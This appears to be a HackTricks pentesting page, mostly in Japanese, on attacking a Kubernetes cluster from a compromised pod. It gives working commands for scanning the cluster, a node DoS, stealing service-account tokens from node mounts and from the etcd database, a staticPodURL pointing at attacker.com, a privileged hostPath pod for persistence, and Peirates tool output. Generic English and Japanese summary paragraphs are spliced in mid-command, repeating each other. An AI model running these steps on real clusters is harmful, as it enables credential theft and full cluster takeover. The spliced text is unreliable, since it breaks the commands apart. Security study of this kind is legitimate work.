Attacking Kubernetes from inside a Pod

HackTricksをサポートする

Pod Breakout

運が良ければ、それからノードに脱出できるかもしれません:

Podからの脱出

ポッドから脱出しようとするには、まず特権を昇格する必要がある場合があります。これを行うためのいくつかのテクニック:

あなたが侵害したポッドから脱出しようとするために、docker breakoutsをチェックできます:

Kubernetes権限の乱用

kubernetes列挙セクションで説明されているように:

Kubernetes Enumeration

通常、ポッドはその中にサービスアカウントトークンを持って実行されます。このサービスアカウントには、他のポッドに移動したり、クラスタ内で構成されたノードに脱出したりするために悪用できる権限が付与されている場合があります。方法は次のとおりです:

Abusing Roles/ClusterRoles in Kubernetes

クラウド権限の乱用

ポッドがクラウド環境内で実行されている場合、メタデータエンドポイントからトークンを漏洩させ、それを使用して特権を昇格させることができるかもしれません。

脆弱なネットワークサービスを検索する

Kubernetes環境内にいるため、現在のポッドの権限を悪用して特権を昇格させることができず、コンテナから脱出することができない場合、潜在的に脆弱なサービスを検索する必要があります。

サービス

この目的のために、kubernetes環境のすべてのサービスを取得しようとすることができます:

kubectl get svc --all-namespaces

デフォルトでは、Kubernetesはフラットなネットワーキングスキーマを使用しており、クラスタ内の任意のポッド/サービスが他のポッドと通信できることを意味します。クラスタ内のネームスペースには、デフォルトでネットワークセキュリティ制限がありません。ネームスペース内の誰もが他のネームスペースと通信できます。

スキャン

以下のBashスクリプト(Kubernetesワークショップから取得)は、KubernetesクラスタのIP範囲をインストールしてスキャンします:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

Pentesting Kubernetes Services

スニッフィング

In case the compromised pod is running some sensitive service where other pods need to authenticate you might be able to obtain the credentials send from the other pods sniffing local communications.

ネットワーク・スプーフィング

By default techniques like ARP spoofing (and thanks to that DNS Spoofing) work in kubernetes network. Then, inside a pod, if you have the NET_RAW capability (which is there by default), you will be able to send custom crafted network packets and perform MitM attacks via ARP Spoofing to all the pods running in the same node. Moreover, if the malicious pod is running in the same node as the DNS Server, you will be able to perform a DNS Spoofing attack to all the pods in cluster.

Kubernetes Network Attacks

ノード DoS

There is no specification of resources in the Kubernetes manifests and not applied limit ranges for the containers. As an attacker, we can consume all the resources where the pod/deployment running and starve other resources and cause a DoS for the environment.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

stress-ngを実行している間とその後の違いがわかります。

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

ノードのポストエクスプロイテーション

コンテナから脱出に成功した場合、ノード内で次の興味深い情報が見つかります:

  • コンテナランタイムプロセス(Docker)

  • このような他のポッド/コンテナが実行されているノード(追加のトークン)

  • 全体のファイルシステムおよび一般的なOS

  • リスニングしているKube-Proxyサービス

  • リスニングしているKubeletサービス。構成ファイルを確認してください:

    • ディレクトリ:/var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • その他のKubernetes共通ファイル

    • $HOME/.kube/config - ユーザー構成

    • /etc/kubernetes/kubelet.conf- 通常の構成

    • /etc/kubernetes/bootstrap-kubelet.conf - ブートストラップ構成

    • /etc/kubernetes/manifests/etcd.yaml - etcd構成

    • /etc/kubernetes/pki - Kubernetesキー

ノードのkubeconfigを見つける

以前にコメントされたパスのいずれかにkubeconfigファイルが見つからない場合は、kubeletプロセスの引数--kubeconfigを確認してください:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

シークレットの盗み取り

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

スクリプト can-they.sh は、他のポッドのトークンを自動的に取得し、1つずつ確認する代わりに、探している権限を持っているかどうかをチェックします。

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

特権を持つ DaemonSets

DaemonSet はクラスタのすべてのノードで実行される ポッド です。したがって、DaemonSet が 特権付きサービスアカウント で構成されている場合、すべてのノード にその 特権付きサービスアカウントトークン が見つかる可能性があり、それを悪用できます。

この脆弱性は前のセクションと同じですが、今回は運に左右されません。

クラウドへのピボット

クラスタがクラウドサービスによって管理されている場合、通常、ノードポッド とは異なるアクセス権を持っている可能性があります。そのため、ノードからメタデータエンドポイントにアクセスしようとしてください(または hostNetwork が True のポッドから):

Kubernetes Pivoting to Clouds

etcd を盗む

コンテナを実行するノードの nodeName を指定できる場合は、コントロールプレーンノード内でシェルを取得し、etcd データベース を取得してください:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-planeノードにはマスターの役割があり、クラウド管理されたクラスターではそれらに何も実行できません

etcdからシークレットを読む

ポッドの仕様でnodeNameセレクタを使用してコントロールプレーンノードでポッドを実行できる場合、クラスターの構成全体、つまりすべてのシークレットを含むetcdデータベースに簡単にアクセスできるかもしれません。

以下は、コントロールプレーンノードで実行されているetcdからシークレットを取得するクイックで汚い方法です。実行中のetcdがあるコントロールプレーンノードからシークレットを取得するよりエレガントな解決策をお探しの場合は、@mauilionのこの例のマニフェストをチェックしてください。

コントロールプレーンノードでetcdが実行されているかどうかを確認し、データベースがどこにあるかを確認します(これはkubeadmで作成されたクラスターです)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

In a Kubernetes cluster, if an attacker gains access to a pod, they can perform various attacks to escalate privileges and move laterally within the cluster. Some common techniques include:

1. **Accessing the Kubernetes API**: An attacker can access the Kubernetes API from inside a compromised pod, allowing them to gather information about the cluster and potentially perform malicious actions.

2. **Mounting Host Paths**: By mounting host paths into a pod, an attacker can access sensitive host resources such as configuration files or other pods' data.

3. **Exploiting Insecure Configurations**: Attackers can exploit misconfigurations in pod security policies, RBAC rules, or network policies to gain additional privileges within the cluster.

To prevent these attacks, it is crucial to follow security best practices such as implementing strong RBAC rules, restricting pod capabilities, and regularly auditing and monitoring cluster activities.
data-dir=/var/lib/etcd

etcdデータベース内のデータを表示する:

strings /var/lib/etcd/member/snap/db | less

データベースからトークンを抽出し、サービスアカウント名を表示します

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

同じコマンドですが、いくつかのgrepを使用して、kube-systemネームスペース内のデフォルトトークンのみを返すようにします

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

When an attacker gains access to a Kubernetes pod, they can perform various actions to escalate privileges and potentially take control of the entire cluster. Some common techniques include:

1. **Pod-to-Pod Communication**: An attacker can eavesdrop on or intercept traffic between pods to gather sensitive information or perform man-in-the-middle attacks.

2. **Pod Escape**: By exploiting vulnerabilities in the container runtime or Kubernetes itself, an attacker can break out of the pod and access the host system.

3. **Node Compromise**: If an attacker gains control of a pod running on a node, they can potentially compromise the entire node and any other pods running on it.

To defend against these attacks, it is crucial to follow security best practices such as implementing network policies, restricting pod privileges, and regularly updating Kubernetes components.
## ポッド内からKubernetesを攻撃する

攻撃者がKubernetesポッドにアクセスすると、特権を昇格させ、クラスタ全体を制御する可能性があります。一般的なテクニックには次のものがあります:

1. **ポッド間通信**:攻撃者はポッド間のトラフィックを盗聴したり傍受したりして、機密情報を収集したり中間者攻撃を行ったりすることができます。

2. **ポッド脱出**:コンテナランタイムやKubernetes自体の脆弱性を悪用することで、攻撃者はポッドから脱出してホストシステムにアクセスできます。

3. **ノードの侵害**:攻撃者がノード上で実行されているポッドの制御を取得すると、ノード全体やその上で実行されている他のポッドを侵害する可能性があります。

これらの攻撃に対抗するためには、ネットワークポリシーの実装、ポッド特権の制限、Kubernetesコンポーネントの定期的な更新などのセキュリティベストプラクティスを遵守することが重要です。
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

静的/ミラーポッドの永続性

Static Pods は、API サーバーが監視していない特定のノード上で kubelet デーモンによって直接管理されます。コントロール プレーンによって管理される Pod(たとえば、Deployment)とは異なり、kubelet は各静的 Pod を監視し、失敗した場合に再起動します。

したがって、静的 Pod は常に特定のノード上の 1 つの Kubelet にバインドされています。

kubelet は、各静的 Pod に対して Kubernetes API サーバー上にミラーポッドを自動的に作成しようとします。これにより、ノード上で実行されている Pod は API サーバー上で表示されますが、そこから制御することはできません。Pod の名前は、ノードのホスト名に先行するハイフンで接尾辞が付きます。

静的 Pod の spec は他の API オブジェクトを参照できません(たとえば、ServiceAccount、ConfigMap、Secret など)。そのため、この動作を悪用して現在のノードで任意の serviceAccount を使用して Pod を起動することはできません。ただし、異なる名前空間で Pod を実行することはできます(何らかの理由で便利な場合)。

ノードホスト内にいる場合、自分自身内に静的ポッドを作成することができます。これはかなり便利です。なぜなら、kube-system のような異なる名前空間に ポッドを作成できる可能性があるからです。

静的ポッドを作成するには、ドキュメントが大いに役立ちます。基本的には、2 つのことが必要です:

  • kubelet サービスまたは kubelet 構成staticPodPath)でパラメータ --pod-manifest-path=/etc/kubernetes/manifests を構成し、サービスを再起動します

  • /etc/kubernetes/manifests 内の ポッド定義 で定義を作成します

もう1つのより潜在的な方法は次のとおりです:

  • kubelet 構成ファイルからパラメータ staticPodURL を変更し、staticPodURL: http://attacker.com:8765/pod.yaml のように設定します。これにより、kubelet プロセスが 指定された URL から構成を取得して 静的ポッド を作成します。

として、ここから kube-system に特権ポッドを作成する ポッド 構成の一例:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

ポッドの削除 + スケジュール不可能なノード

攻撃者がノードを侵害し、他のノードからポッドを削除し、他のノードがポッドを実行できなくすることができる場合、ポッドは侵害されたノードで再実行され、彼はそれらで実行されるトークンを盗むことができます。 詳細については、このリンクを参照してください。

自動ツール

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
HackTricksのサポート

Last updated